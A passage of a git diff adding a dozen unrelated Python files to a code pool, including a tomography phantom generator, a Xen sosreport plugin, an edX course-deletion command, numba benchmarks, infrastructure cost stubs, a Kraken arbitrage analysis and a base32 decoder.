+ :returns: data after using the account authenticate to get the data. + :rtype: str + """ + from pymal import exceptions + + if not self.is_auth: + raise exceptions.UnauthenticatedAccountError(self.username) + return global_functions._connect(url, data=data, headers=headers, + auth=self.__auth_object, session=self.__session).text.strip() + + @property + @load + def image_url(self): + """ + :return: path for the image of the avatar of the account. + :rtype: str + """ + return self.__image_url + + def get_image(self): + """ + :return: image of the account's avatar + :rtype: :class:`PIL.Image.Image` + """ + import io + + from PIL import Image + + sock = requests.get(self.image_url) + data = io.BytesIO(sock.content) + return Image.open(data) + + def reload(self): + """ + reloading account image (all the other things are already lazy load! + """ + div = global_functions.get_content_wrapper_div(self._main_profile_url, self.connect) + profile_leftcell = div.table.tbody.tr.find(name="td", attrs={"class": "profile_leftcell"}, recursive=False) + self.__image_url = profile_leftcell.div.img['src'] + + @property + def is_auth(self) -> bool: + """ + :returns: True if the password is right (and able to authenticate). + :rtype: bool + """ + return self.__auth_object is not None + + def __repr__(self): + return "".format(self.username) + + def __hash__(self): + import hashlib + + hash_md5 = hashlib.md5() + hash_md5.update(self.username.encode()) + return int(hash_md5.hexdigest(), 16) + + def __format__(self, format_spec): + return str(self).__format__(format_spec) diff --git a/pool/shard000/Python/0007927_phantom_00003.py b/pool/shard000/Python/0007927_phantom_00003.py new file mode 100644 index 0000000000000000000000000000000000000000..5c0af9b525e334ac857b0201b4bf5005c64a9e78 --- /dev/null +++ b/pool/shard000/Python/0007927_phantom_00003.py @@ -0,0 +1,123 @@ +# -*- coding: utf-8 -*- +""" +Created on Sat Dec 3 15:35:30 2016 + +@author: decarlo +""" +from __future__ import (absolute_import, division, print_function, + unicode_literals) + +from xdesign import * + +import os +import time +import pytz +import datetime +import numpy as np +import matplotlib.pyplot as plt +import matplotlib.gridspec as gridspec +import dxfile.dxtomo as dx +import dxchange + +def iso_time(): + # set the experiment date + now = datetime.datetime.today() + + # set iso format time + central = pytz.timezone('US/Central') + local_time = central.localize(now) + local_time_iso = local_time.isoformat() + + return local_time_iso + + +if __name__ == '__main__': + + # Set tomobank id + tomobank_id = 'phantom_00003' + + # Set path to the micro-CT data to convert. + fname = 'tomobank/phantoms/' + tomobank_id + '/' + tomobank_id + '.h5' + + # Set meta-data + experimenter_affiliation="Argonne National Laboratory" + experimenter_email="tomobank@anl.gov" + instrument_name="XDesign VERSION:0.2.0.dev0+1d67599b8f104ebded86bac98100dbf15e251a66 FUNCTION: SlantedSquares(count=16, angle=5/360*2*np.pi, gap=0.01), prop='mass_atten'" + sample_name = tomobank_id + + # Phantom generation start time + start_date = iso_time() + + phantom = HyperbolicConcentric() + + ccd_x = 256 + ccd_y = 256 + n_proj = 512 + + step = 1. / ccd_x + prb = Probe(Point([step / 2., -10]), Point([step / 2., 10]), step) + + + n_dark = 1 + n_white = 1 + dark = np.zeros((n_dark, ccd_y, ccd_x)) # Array filled with zeros + flat = np.ones((n_white, ccd_y, ccd_x)) # Array filled with ones + + sino, probe = sinogram(n_proj, ccd_x, phantom) + proj = np.expand_dims(sino, 1) + + # Theta + theta_step = np.pi / n_proj + theta_step_deg = theta_step * 180./np.pi + theta = np.arange(0, 180., 180. / n_proj) + + # Set data collection angles as equally spaced between 0-180 degrees. + start_angle = 0 + start_angle_unit = 'deg' + end_angle = 180 + end_angle_unit = 'deg' + angular_step_unit = 'deg' + + # Phantom generation end time + end_date = iso_time() + + # Write ground_truth + ground_truth = discrete_phantom(phantom, ccd_x, prop='mass_atten') + fname_gt='tomobank/phantoms/' + tomobank_id + '/' + tomobank_id + '_ground_truth' + dxchange.write_tiff(ground_truth, fname=fname_gt, dtype='float32') + + # Save into a data-exchange file. + if os.path.isfile(fname): + print ("Data Exchange file already exists: ", fname) + else: + # Create new folder. + dirPath = os.path.dirname(fname) + if not os.path.exists(dirPath): + os.makedirs(dirPath) + + # Open DataExchange file + f = dx.File(fname, mode='w') + + # Write the Data Exchange HDF5 file. + f.add_entry(dx.Entry.experimenter(affiliation={'value': experimenter_affiliation})) + f.add_entry(dx.Entry.experimenter(email={'value': experimenter_email})) + f.add_entry(dx.Entry.instrument(name={'value': instrument_name})) + f.add_entry(dx.Entry.sample(name={'value': sample_name})) + + f.add_entry(dx.Entry.data(data={'value': proj, 'units':'counts'})) + f.add_entry(dx.Entry.data(data_white={'value': flat, 'units':'counts'})) + f.add_entry(dx.Entry.data(data_dark={'value': dark, 'units':'counts'})) + f.add_entry(dx.Entry.data(theta={'value': theta, 'units':'degrees'})) + f.add_entry(dx.Entry.data(ground_truth={'value': ground_truth, 'units':'counts'})) + + f.add_entry(dx.Entry.acquisition(start_date={'value': start_date})) + f.add_entry(dx.Entry.acquisition(end_date={'value': end_date})) + + f.add_entry(dx.Entry.acquisition_setup(rotation_start_angle={'value': start_angle, 'unit': start_angle_unit})) + f.add_entry(dx.Entry.acquisition_setup(rotation_end_angle={'value': end_angle, 'unit': end_angle_unit})) + f.add_entry(dx.Entry.acquisition_setup(angular_step={'value': theta_step_deg, 'unit': angular_step_unit})) + + f.close() + + + diff --git a/pool/shard000/Python/0007928_statsd.py b/pool/shard000/Python/0007928_statsd.py new file mode 100644 index 0000000000000000000000000000000000000000..4b6a3669464acc06108d04541a9e9e3e9b111844 --- /dev/null +++ b/pool/shard000/Python/0007928_statsd.py @@ -0,0 +1,43 @@ +# Copyright 2017 FUJITSU LIMITED +# +# Licensed under the Apache License, Version 2.0 (the "License"); you may +# not use this file except in compliance with the License. You may obtain +# a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT +# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the +# License for the specific language governing permissions and limitations +# under the License. + +from oslo_config import cfg + +_DEFAULT_HOST = '127.0.0.1' +_DEFAULT_PORT = 8125 + +statsd_group = cfg.OptGroup('statsd', + title='statsd Options', + help='Options under this group allow ' + 'to configure valid connection ' + 'to statsd server launched by monasca-agent.') + +statsd_opts = [ + cfg.BoolOpt('enable', default=True, + help='Enable or disable self monitoring.'), + cfg.HostAddressOpt('host', default=_DEFAULT_HOST, + help='IP address of statsd server.'), + cfg.PortOpt('port', default=_DEFAULT_PORT, help='Port of statsd server.'), +] + + +def register_opts(conf): + conf.register_group(statsd_group) + conf.register_opts(statsd_opts, group=statsd_group) + + +def list_opts(): + return { + statsd_group: statsd_opts + } diff --git a/pool/shard000/Python/0007931_rpe_map.py b/pool/shard000/Python/0007931_rpe_map.py new file mode 100644 index 0000000000000000000000000000000000000000..ab77f0b61c411a5c1f3aced14eb5f3138ea32704 --- /dev/null +++ b/pool/shard000/Python/0007931_rpe_map.py @@ -0,0 +1,44 @@ +import tile +import thing + +from locals import * +from errors import * +from file_ops import * + +class RpeMap(object): + def __init__(self, map_path): + parsed_map = parse_to_lists(map_path) + self._tiles = [] + self._things = [] + self._start_position = None + for y, row in zip(range(len(parsed_map)), parsed_map): + _tile_row = [] + for x, column in enumerate(row): + _tile_to_append = tile.create_based_on_char(column) + _tile_to_append.x = x + _tile_to_append.y = y + if column is 's': + if self._start_position is None: + self._start_position = (x, y) + else: + raise MultiplePlayerStartError() + elif column is 'b': + _tile_to_append.thing = thing.Thing() + self._things.append(_tile_to_append) + _tile_row.append(_tile_to_append) + self._tiles.append(_tile_row) + if self._start_position is None: + raise NoPlayerStartError() + + @property + def tiles(self): + return self._tiles + + @property + def things(self): + return self._things + + @property + def start_position(self): + return self._start_position + diff --git a/pool/shard000/Python/0007933_split_tree3.py b/pool/shard000/Python/0007933_split_tree3.py new file mode 100644 index 0000000000000000000000000000000000000000..994bc670b066f6d933132d57255c042b5ef922b5 --- /dev/null +++ b/pool/shard000/Python/0007933_split_tree3.py @@ -0,0 +1,59 @@ +#!/usr/bin/env python +# Split TTree into a separate file. +# This file is part of https://github.com/hh-italian-group/AnalysisTools. + +import sys +import os +import subprocess +import re +import argparse +import ROOT + +parser = argparse.ArgumentParser(description='Split ROOT TTree.', + formatter_class = lambda prog: argparse.HelpFormatter(prog,width=90)) +parser.add_argument('--original-file', required=True, dest='originalFile', type=str, metavar='FILE', + help="original ROOT file") +parser.add_argument('--tree-name', required=True, dest='treeName', type=str, metavar='NAME', help="Tree name.") +parser.add_argument('--n-entries', required=False, dest='nEntries', type=int, metavar='N', default=-1, + help="number of entries to keep in the tree in the original file") +args = parser.parse_args() + +namePrefix = re.sub('\.[^\.]*$', '', args.originalFile) +nameFormat = '{}_part{}.root' +original_FileName = '{}_original.root'.format(namePrefix) +part1_FileName = nameFormat.format(namePrefix, 1) +part2_FileName = nameFormat.format(namePrefix, 2) +part3_FileName = nameFormat.format(namePrefix, 3) + +os.rename(args.originalFile, original_FileName) + +originalFile = ROOT.TFile(original_FileName, 'UPDATE') +part1_File = ROOT.TFile(part1_FileName, 'RECREATE', '', 1 * 100 + 9) +part2_File = ROOT.TFile(part2_FileName, 'RECREATE', '', 1 * 100 + 9) +part3_File = ROOT.TFile(part3_FileName, 'RECREATE', '', 1 * 100 + 9) + +originalTree = originalFile.Get(args.treeName) +nEntries = args.nEntries +if nEntries == -1: + nEntries = originalTree.GetEntries() / 3 + +part1_File.cd() +part1_Tree = originalTree.CopyTree('', '', nEntries, 0) +part1_Tree.Write() +part1_File.Close() + +part2_File.cd() +part2_Tree = originalTree.CopyTree('', '', 2*nEntries, nEntries) +part2_Tree.Write() +part2_File.Close() + +part3_File.cd() +part3_Tree = originalTree.CopyTree('', '', originalTree.GetEntries(), 2*nEntries) +part3_Tree.Write() +part3_File.Close() + +originalFile.cd() +originalFile.Delete(args.treeName + ';*') +originalFile.Close() + +subprocess.call([ 'hadd -f9 {} {} {}'.format(args.originalFile, original_FileName, part1_FileName) ], shell=True) diff --git a/pool/shard000/Python/0007934_xen.py b/pool/shard000/Python/0007934_xen.py new file mode 100644 index 0000000000000000000000000000000000000000..7b2f0d9c17ade40709e6869ff07c74b1606cf13e --- /dev/null +++ b/pool/shard000/Python/0007934_xen.py @@ -0,0 +1,104 @@ +### This program is free software; you can redistribute it and/or modify +## it under the terms of the GNU General Public License as published by +## the Free Software Foundation; either version 2 of the License, or +## (at your option) any later version. + +## This program is distributed in the hope that it will be useful, +## but WITHOUT ANY WARRANTY; without even the implied warranty of +## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +## GNU General Public License for more details. + +## You should have received a copy of the GNU General Public License +## along with this program; if not, write to the Free Software +## Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + +from sos.plugins import Plugin, RedHatPlugin +import os +import re +from stat import * + +class Xen(Plugin, RedHatPlugin): + """Xen related information + """ + + plugin_name = 'xen' + + def determine_xen_host(self): + if os.access("/proc/acpi/dsdt", os.R_OK): + (status, output, rtime) = self.call_ext_prog("grep -qi xen /proc/acpi/dsdt") + if status == 0: + return "hvm" + + if os.access("/proc/xen/capabilities", os.R_OK): + (status, output, rtime) = self.call_ext_prog("grep -q control_d /proc/xen/capabilities") + if status == 0: + return "dom0" + else: + return "domU" + return "baremetal" + + def check_enabled(self): + return (self.determine_xen_host() == "baremetal") + + def is_running_xenstored(self): + xs_pid = os.popen("pidof xenstored").read() + xs_pidnum = re.split('\n$',xs_pid)[0] + return xs_pidnum.isdigit() + + def dom_collect_proc(self): + self.add_copy_specs([ + "/proc/xen/balloon", + "/proc/xen/capabilities", + "/proc/xen/xsd_kva", + "/proc/xen/xsd_port"]) + # determine if CPU has PAE support + self.add_cmd_output("grep pae /proc/cpuinfo") + # determine if CPU has Intel-VT or AMD-V support + self.add_cmd_output("egrep -e 'vmx|svm' /proc/cpuinfo") + + def setup(self): + host_type = self.determine_xen_host() + if host_type == "domU": + # we should collect /proc/xen and /sys/hypervisor + self.dom_collect_proc() + # determine if hardware virtualization support is enabled + # in BIOS: /sys/hypervisor/properties/capabilities + self.add_copy_spec("/sys/hypervisor") + elif host_type == "hvm": + # what do we collect here??? + pass + elif host_type == "dom0": + # default of dom0, collect lots of system information + self.add_copy_specs([ + "/var/log/xen", + "/etc/xen", + "/sys/hypervisor/version", + "/sys/hypervisor/compilation", + "/sys/hypervisor/properties", + "/sys/hypervisor/type"]) + self.add_cmd_outputs([ + "xm dmesg", + "xm info", + "xm list", + "xm list --long", + "brctl show" + ]) + self.dom_collect_proc() + if self.is_running_xenstored(): + self.add_copy_spec("/sys/hypervisor/uuid") + self.add_cmd_output("xenstore-ls") + else: + # we need tdb instead of xenstore-ls if cannot get it. + self.add_copy_spec("/var/lib/xenstored/tdb") + + # FIXME: we *might* want to collect things in /sys/bus/xen*, + # /sys/class/xen*, /sys/devices/xen*, /sys/modules/blk*, + # /sys/modules/net*, but I've never heard of them actually being + # useful, so I'll leave it out for now + else: + # for bare-metal, we don't have to do anything special + return #USEFUL + + self.add_custom_text("Xen hostType: "+host_type) + +# vim: et ts=4 sw=4 diff --git a/pool/shard000/Python/0007938_delete_course.py b/pool/shard000/Python/0007938_delete_course.py new file mode 100644 index 0000000000000000000000000000000000000000..16a6c8833033644150b7c334508cdeafe11bd2c5 --- /dev/null +++ b/pool/shard000/Python/0007938_delete_course.py @@ -0,0 +1,70 @@ +""" + Command for deleting courses + + Arguments: + arg1 (str): Course key of the course to delete + arg2 (str): 'commit' + + Returns: + none +""" +from django.core.management.base import BaseCommand, CommandError +from .prompt import query_yes_no +from contentstore.utils import delete_course_and_groups +from opaque_keys.edx.keys import CourseKey +from opaque_keys import InvalidKeyError +from opaque_keys.edx.locations import SlashSeparatedCourseKey +from xmodule.modulestore import ModuleStoreEnum +from xmodule.modulestore.django import modulestore + + +def print_out_all_courses(): + """ + Print out all the courses available in the course_key format so that + the user can correct any course_key mistakes + """ + courses = modulestore().get_courses_keys() + print 'Available courses:' + for course in courses: + print str(course) + print '' + + +class Command(BaseCommand): + """ + Delete a MongoDB backed course + """ + help = '''Delete a MongoDB backed course''' + + def handle(self, *args, **options): + if len(args) == 0: + raise CommandError("Arguments missing: 'org/number/run commit'") + + if len(args) == 1: + if args[0] == 'commit': + raise CommandError("Delete_course requires a course_key argument.") + else: + raise CommandError("Delete_course requires a commit argument at the end") + elif len(args) == 2: + try: + course_key = CourseKey.from_string(args[0]) + except InvalidKeyError: + try: + course_key = SlashSeparatedCourseKey.from_deprecated_string(args[0]) + except InvalidKeyError: + raise CommandError("Invalid course_key: '%s'. Proper syntax: 'org/number/run commit' " % args[0]) + if args[1] != 'commit': + raise CommandError("Delete_course requires a commit argument at the end") + elif len(args) > 2: + raise CommandError("Too many arguments! Expected ") + + print_out_all_courses() + + if not modulestore().get_course(course_key): + raise CommandError("Course with '%s' key not found." % args[0]) + + print 'Actually going to delete the %s course from DB....' % args[0] + if query_yes_no("Deleting course {0}. Confirm?".format(course_key), default="no"): + if query_yes_no("Are you sure. This action cannot be undone!", default="no"): + delete_course_and_groups(course_key, ModuleStoreEnum.UserID.mgmt_command) + print_out_all_courses() diff --git a/pool/shard000/Python/0007939_bench_arrayexprs.py b/pool/shard000/Python/0007939_bench_arrayexprs.py new file mode 100644 index 0000000000000000000000000000000000000000..d8b522a0d81c7e3882b137fdc2d71af4f7a97f29 --- /dev/null +++ b/pool/shard000/Python/0007939_bench_arrayexprs.py @@ -0,0 +1,55 @@ +""" +Benchmarks for array expressions. +""" + +import numpy as np + +from numba import jit + + +@jit(nopython=True) +def sum(a, b): + return a + b + +@jit(nopython=True) +def sq_diff(a, b): + return (a - b) * (a + b) + +@jit(nopython=True) +def rel_diff(a, b): + return (a - b) / (a + b) + + +def setup(): + ArrayExpressions.setupClass() + + +class ArrayExpressions: + + n = 100000 + dtypes = ('float32', 'float64') + + @classmethod + def setupClass(cls): + cls.samples = {} + random = np.random.RandomState(0) + for dtype in cls.dtypes: + arrays = [random.uniform(1.0, 2.0, size=cls.n).astype(dtype) + for i in range(2)] + cls.samples[dtype] = arrays + + @classmethod + def _binary_func(cls, func, dtype): + def f(self): + func(*self.samples[dtype]) + return f + + @classmethod + def generate_benchmarks(cls): + for dtype in cls.dtypes: + for func in (sum, sq_diff, rel_diff): + bench_func = cls._binary_func(func, dtype) + setattr(cls, 'time_%s_%s' % (func.__name__, dtype), bench_func) + + +ArrayExpressions.generate_benchmarks() diff --git a/pool/shard000/Python/0007940_infra_stats_metric.py b/pool/shard000/Python/0007940_infra_stats_metric.py new file mode 100644 index 0000000000000000000000000000000000000000..102855575c34819503f7062c3bdc4a8cb429f8ce --- /dev/null +++ b/pool/shard000/Python/0007940_infra_stats_metric.py @@ -0,0 +1,150 @@ +# -*- coding: utf-8 -*- +#!/usr/bin/python +##------------------------------------------------------------------- +## File : infra_stats_metric.py +## Author : Denny +## Description : Collect metrics for cost evaluation +## -- +## Created : <2016-10-04> +## Updated: Time-stamp: <2018-04-24 12:18:27> +##------------------------------------------------------------------- +import datetime +import argparse +import commands + +def get_timestamp(): + return "[%s +0000]" % \ + (datetime.datetime.utcnow().strftime("%d/%b/%Y:%H:%M:%S")) + +def record_cost_metric(timestamp, thisMonthTotal, overallPercentage, recordCount): + recordCost = (float(thisMonthTotal) * float(overallPercentage) * 1.75) / \ + (int(recordCount) * 0.7) + recordCostStr = '{:.20f}'.format(recordCost) + l = [] + l.append([timestamp, 'Record', 'AvgCostPerMonth', recordCostStr]) + return l + +def print_list(l): + for entry in l: + print("%s %s %s %s" % (entry[0], entry[1], entry[2], entry[3])) + +def infra_premium_service_metric(timestamp): + l = [] + l.append([timestamp, 'InfraSupport', 'BasicPremiumService', '0']) + l.append([timestamp, 'InfraSupport', 'AdvancedPremiumService', '0']) + return l + +########################################################################################## +def infra_node_count_metric(timestamp, item_name = 'ALL'): + l = [] + metric_name = 'NodeCount' + # TODO: implement this + if item_name == 'ALL': + l.append([timestamp, 'InfraCB', metric_name, '4']) + l.append([timestamp, 'InfraES', metric_name, '6']) + + l.append([timestamp, 'InfraAPP', metric_name, '4']) + + l.append([timestamp, 'InfraLoadBalancer', metric_name, '2']) + + l.append([timestamp, 'InfraBackup', metric_name, '1']) + l.append([timestamp, 'InfraLogging', metric_name, '0']) + l.append([timestamp, 'InfraMonitoring', metric_name, '1']) + l.append([timestamp, 'InfraJenkins', metric_name, '1']) + return l + +def infra_storage_capacity_metric(timestamp, item_name = 'ALL'): + l = [] + metric_name = 'StorageCapacity' + # TODO: implement this + if item_name == 'ALL': + # TODO: calculate the total number + l.append([timestamp, 'InfraAPP', metric_name, '100']) + l.append([timestamp, 'InfraCB', metric_name, '100']) + l.append([timestamp, 'InfraES', metric_name, '100']) + l.append([timestamp, 'InfraBackup', metric_name, '100']) + l.append([timestamp, 'InfraLogging', metric_name, '0']) + l.append([timestamp, 'InfraMonitoring', metric_name, '100']) + l.append([timestamp, 'InfraLoadBalancer', metric_name, '100']) + return l + +def infra_network_metric(timestamp, item_name = 'ALL'): + l = [] + metric_name = 'DataTransfer' + # TODO: implement this + if item_name == 'ALL': + # TODO: calculate the total number + l.append([timestamp, 'InfraNetwork', metric_name, '0']) + return l + +def record_count_service_metric(timestamp): + l = [] + # TODO: automate the collection + l.append([timestamp, 'Record', 'TotalCount', '136701640']) + return l + +def invoicement_metric(timestamp, property_name = 'ALL'): + l = [] + # TODO: implement this: need to calculate and predict + if property_name == 'ALL': + l.append([timestamp, 'Invoicement', 'ThisMonth', '500']) + l.append([timestamp, 'Invoicement', 'ThisMonthTotal', '4378.64']) + if property_name == 'ThisMonthTotal': + l.append([timestamp, 'Invoicement', 'ThisMonthTotal', '4378.64']) + return l + +def hardware_utilization_metric(timestamp, property_name = 'OverallPercentage'): + l = [] + # TODO: implement this. need more work on this + if property_name == 'ALL': + l.append([timestamp, 'HardwareUtilization', 'OverallPercentage', '0.65']) + + if property_name == 'OverallPercentage': + l.append([timestamp, 'HardwareUtilization', 'OverallPercentage', '0.65']) + return l + +# Sample: +# python ./infra_stats_metric.py --poll_date 'NOW' +# python ./infra_stats_metric.py --poll_date 'LAST3' +if __name__=='__main__': + parser = argparse.ArgumentParser() + parser.add_argument('--poll_date', default = 'NOW', \ + required = False, help = "Which days we want to poll the metrics. Default is last 3 days", type=str) + l = parser.parse_args() + + poll_date = l.poll_date + date_list = [] + + if poll_date == 'NOW': + date_list = [get_timestamp()] + + if poll_date == 'LAST3': + # TODO: implement this later + date_list = ["[9/Oct/2016:10:16:36 +0000]", \ + "[10/Oct/2016:10:16:36 +0000]", \ + "[11/Oct/2016:10:16:36 +0000]", \ + "[12/Oct/2016:10:16:36 +0000]", \ + "[13/Oct/2016:10:16:36 +0000]"] + + for timestamp in date_list: + print_list(infra_node_count_metric(timestamp)) + print_list(infra_storage_capacity_metric(timestamp)) + print_list(infra_network_metric(timestamp)) + print_list(infra_premium_service_metric(timestamp)) + print_list(invoicement_metric(timestamp)) + print_list(record_count_service_metric(timestamp)) + print_list(invoicement_metric(timestamp)) + print_list(hardware_utilization_metric(timestamp)) + + # calculate avg record cost per month + l = invoicement_metric(timestamp, property_name = 'ThisMonthTotal') + thisMonthTotal = l[0][3] + + l = hardware_utilization_metric(timestamp, property_name = 'OverallPercentage') + overallPercentage = l[0][3] + + l = record_count_service_metric(timestamp) + recordCount = l[0][3] + + print_list(record_cost_metric(timestamp, thisMonthTotal, overallPercentage, recordCount)) +## File : infra_stats_metric.py ends diff --git a/pool/shard000/Python/0007942_monitoranalysis.py b/pool/shard000/Python/0007942_monitoranalysis.py new file mode 100644 index 0000000000000000000000000000000000000000..e94d6710a073edb354390ca68c344f35a69165b9 --- /dev/null +++ b/pool/shard000/Python/0007942_monitoranalysis.py @@ -0,0 +1,69 @@ +from monitor import utc_to_tz +from dateutil import tz +import krakenex +import pymongo +import networkx as nx +import pandas +import numpy as np +import tqdm + +def get_prices(asset_pairs, ticker): + prices = {} + for asset_key, asset in asset_pairs.iteritems(): + asset_name = str(asset_key.split('.')[0]) + base = str(asset['base']) + quote = str(asset['quote']) + assert asset_name == base + quote, '%s != %s + %s' % (asset_name, base, quote) + assert asset_name in ticker, '`%s` not in ticker.' % asset_name + last_price, last_volume = map(float, ticker[asset_name]['c']) + assert last_price > 0 + assert (base, quote) not in ticker + assert (quote, base) not in ticker + prices[base, quote] = last_price + prices[quote, base] = last_price + return prices + + +k = krakenex.API() +k.load_key('lost.key') +asset_pairs = k.query_public("AssetPairs")['result'] + +# Find cycles. +exchange_graph = nx.DiGraph() +fees = {} +for asset_key, asset in asset_pairs.iteritems(): + asset_name = str(asset_key.split('.')[0]) + base = str(asset['base']) + quote = str(asset['quote']) + assert asset_name == base + quote, '%s != %s + %s' % (asset_name, base, quote) + fee = 1-asset['fees'][0][1]/100. + fees[base, quote] = fee + fees[quote, base] = fee + exchange_graph.add_edge(base, quote) + exchange_graph.add_edge(quote, base) + + +cycles = map(tuple, nx.simple_cycles(exchange_graph)) +edges = {cycle: tuple(zip(cycle[:-1], cycle[1:]) + [(cycle[-1], cycle[0])]) for cycle in cycles} + +mongodb_address = None +client = pymongo.MongoClient(mongodb_address) +db = client['kraken'] +collection = db['tickers'] +cursor = collection.find() + +rows = [] +for doc in tqdm.tqdm(cursor, total=cursor.count()): + timestamp = utc_to_tz(doc['timestamp'], tz.gettz('PST')) + prices = get_prices(asset_pairs, doc['ticker']) + for cycle in cycles: + rates = [fees[e]*prices[e] for e in edges[cycle]] + rate = np.product(rates) + rows.append(dict(timestamp=timestamp, cycle=cycle, rate=rate)) + +df = pandas.DataFrame(rows) + + + + + diff --git a/pool/shard000/Python/0007944_convert.py b/pool/shard000/Python/0007944_convert.py new file mode 100644 index 0000000000000000000000000000000000000000..e0f987854f2883fbb7eb011e803f86a2231052bb --- /dev/null +++ b/pool/shard000/Python/0007944_convert.py @@ -0,0 +1,80 @@ +#! /usr/bin/env python +""" +Convert empty IPython notebook to a sphinx doc page. +""" +import io +import os +import sys + +from IPython.nbformat import current + + +def clean_for_doc(nb): + """ + Cleans the notebook to be suitable for inclusion in the docs. + """ + new_cells = [] + for cell in nb.worksheets[0].cells: + # Remove the pylab inline line cells. + if "input" in cell and \ + cell["input"].strip().startswith("%pylab inline"): + continue + + # Make sure all cells are padded at the top and bottom. + if "source" in cell: + cell["source"] = "\n" + cell["source"].strip() + "\n\n" + + # Remove output resulting from the stream/trace method chaining. + if "outputs" in cell: + outputs = [_i for _i in cell["outputs"] if "text" not in _i or + not _i["text"].startswith("= os.path.getmtime(nbname): + print("\t%s is up to date; nothing to do." % rst_name) + return + + os.system("runipy --o %s --matplotlib --quiet" % nbname) + + with io.open(nbname, 'r', encoding='utf8') as f: + nb = current.read(f, 'json') + nb = clean_for_doc(nb) + print("Writing to", nbname) + with io.open(nbname, 'w', encoding='utf8') as f: + current.write(nb, f, 'json') + + # Convert to rst. + os.system("jupyter nbconvert --to rst %s" % nbname) + + with io.open(nbname, 'r', encoding='utf8') as f: + nb = current.read(f, 'json') + nb = strip_output(nb) + print("Writing to", nbname) + with io.open(nbname, 'w', encoding='utf8') as f: + current.write(nb, f, 'json') + +if __name__ == "__main__": + for nbname in sys.argv[1:]: + convert_nb(nbname) diff --git a/pool/shard000/Python/0007946_simulation_config.py b/pool/shard000/Python/0007946_simulation_config.py new file mode 100644 index 0000000000000000000000000000000000000000..c08b345d9d68975496ffa26d0cc9906c2852c706 --- /dev/null +++ b/pool/shard000/Python/0007946_simulation_config.py @@ -0,0 +1,42 @@ +# Opus/UrbanSim urban simulation software. +# Copyright (C) 2005-2009 University of Washington +# See opus_core/LICENSE + +import os + +#from opus_core.misc import get_host_name +from opus_core.database_management.configurations.database_configuration import DatabaseConfiguration +from opus_core.configurations.baseyear_cache_configuration import BaseyearCacheConfiguration + +from urbansim.configs.base_config_zone import tables_to_cache +#from urbansim.configs.base_config_zone import run_configuration +from urbansim.configs.cache_baseyear_configuration import CacheBaseyearConfiguration +from urbansim.configurations.creating_baseyear_cache_configuration import CreatingBaseyearCacheConfiguration + + +cache_configuration = CacheBaseyearConfiguration() +my_cache_config = CreatingBaseyearCacheConfiguration( + cache_directory_root = '/tmp/urbcache/sandbox_runs/zones', + unroll_gridcells = True, + cache_from_database = True, + baseyear_cache = BaseyearCacheConfiguration( + existing_cache_to_copy = '/urbansim_cache/psrc_zone', + years_to_cache = range(1996,2000), + ), + tables_to_cache = tables_to_cache().get_tables_to_cache(), + tables_to_cache_nchunks = { + 'gridcells':5, + }, + ) +cache_configuration['creating_baseyear_cache_configuration'] = my_cache_config +my_configuration = { + 'remove_cache': False, # remove cache after finishing the simulation + 'cache_directory': '/urbansim_cache/psrc_zone', ### TODO: Set this cache_directory to something useful. + 'creating_baseyear_cache_configuration': cache_configuration['creating_baseyear_cache_configuration'], + 'input_configuration': DatabaseConfiguration( + database_name = 'PSRC_2000_estimation_zone_pwaddell', #change + ), + 'base_year':2000, + 'years':(2001, 2002), + 'seed':1,#(1,1), + } \ No newline at end of file diff --git a/pool/shard000/Python/0007947_base32_decoder.py b/pool/shard000/Python/0007947_base32_decoder.py new file mode 100644 index 0000000000000000000000000000000000000000..8bafd2b65dc57a6906ba43ef3f7c3b9020cd4df6 --- /dev/null +++ b/pool/shard000/Python/0007947_base32_decoder.py @@ -0,0 +1,40 @@ +# -*- coding: utf-8 -*- +"""The base32 decoder object implementation.""" + +import base64 +import binascii + +from dfvfs.encoding import decoder +from dfvfs.encoding import manager +from dfvfs.lib import definitions +from dfvfs.lib import errors + + +class Base32Decoder(decoder.Decoder): + """Class that implements a base32 decoder using base64.""" + + ENCODING_METHOD = definitions.ENCODING_METHOD_BASE32 + + def Decode(self, encoded_data): + """Decode the encoded data. + + Args: + encoded_data (byte): encoded data. + + Returns: + tuple(bytes, bytes): decoded data and remaining encoded data. + + Raises: + BackEndError: if the base32 stream cannot be decoded. + """ + try: + decoded_data = base64.b32decode(encoded_data, casefold=False) + except (TypeError, binascii.Error) as exception: + raise errors.BackEndError( + u'Unable to decode base32 stream with error: {0!s}.'.format( + exception)) + + return decoded_data, b'' + + +manager.EncodingManager.RegisterDecoder(Base32Decoder) diff --git a/pool/shard000/Python/0007950_render_reference.py b/pool/shard000/Python/0007950_render_reference.py new file mode 100644 index 0000000000000000000000000000000000000000..61fe8878d64e97c9d2c5b3cc022484240c84f3cc --- /dev/null +++ b/pool/shard000/Python/0007950_render_reference.py @@ -0,0 +1,132 @@ +import os, inspect +currentdir = os.path.dirname(os.path.abspath(inspect.getfile(inspect.currentframe()))) +parentdir = os.path.dirname(os.path.dirname(currentdir)) +os.sys.path.insert(0, parentdir) + +print('parent:', parentdir) + +import pybullet_data +import pybullet +import time +import random + +from pybullet_utils.bullet_client import BulletClient +from deep_mimic.env.motion_capture_data import MotionCaptureData + +# from pybullet_envs.deep_mimic.env.humanoid_stable_pd import HumanoidStablePd +from humanoid import Humanoid +from humanoid import HumanoidPose + +# from env.humanoid_stable_pd + +from deepmimic_json_generator import * + +import pybullet as p +import numpy as np +import argparse + +parser = argparse.ArgumentParser(description='Arguments for loading reference for learning.') + +# General arguments +parser.add_argument('--dataset_path', + default='data/data_3d_h36m.npz', + type=str, + help='target dataset') # h36m or humaneva +parser.add_argument( + '--json_path', + default='data/Walking.json', + type=str, + help='json file path for storing the deepmimic-format json created by inverse-kinect.') +parser.add_argument('--fps', default=24, type=int, help='frame per second') +parser.add_argument('--subject', default='S11', type=str, help='camera subject.') +parser.add_argument('--action', default='Walking', type=str, help='name of the action.') +parser.add_argument('--loop', + default='wrap', + type=str, + help='loop information in deepmimic, wrap or none.') +parser.add_argument('--draw_gt', action='store_true', help='draw ground truth or not.') + +args = parser.parse_args() + +dataset_path = args.dataset_path +json_path = args.json_path +fps = args.fps +subject = args.subject +action = args.action +loop = args.loop +draw_gt = args.draw_gt + + +def draw_ground_truth(coord_seq, frame, duration, shift): + global joint_info + joint = coord_seq[frame] + shift = np.array(shift) + for i in range(1, 17): + # print(x[11], x[14]) + 